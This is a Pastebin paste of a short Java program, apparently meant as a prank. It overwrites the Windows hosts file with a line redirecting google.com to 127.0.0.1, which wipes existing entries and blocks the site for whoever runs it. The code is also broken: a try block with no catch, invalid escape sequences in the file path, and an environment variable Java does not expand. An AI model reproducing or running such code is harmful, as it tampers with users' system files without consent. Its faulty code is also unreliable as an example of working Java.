Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.*;
- public class Lol5916
- {
- public static void main (String args[])
- {
- FileOutputStream fout;
- try
- {
- fout = new FileOutputStream ("%SystemRoot%\System32\drivers\etc\hosts");
- new PrintStream(fout).println ("127.0.0.1 google.com");
- fout.close();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement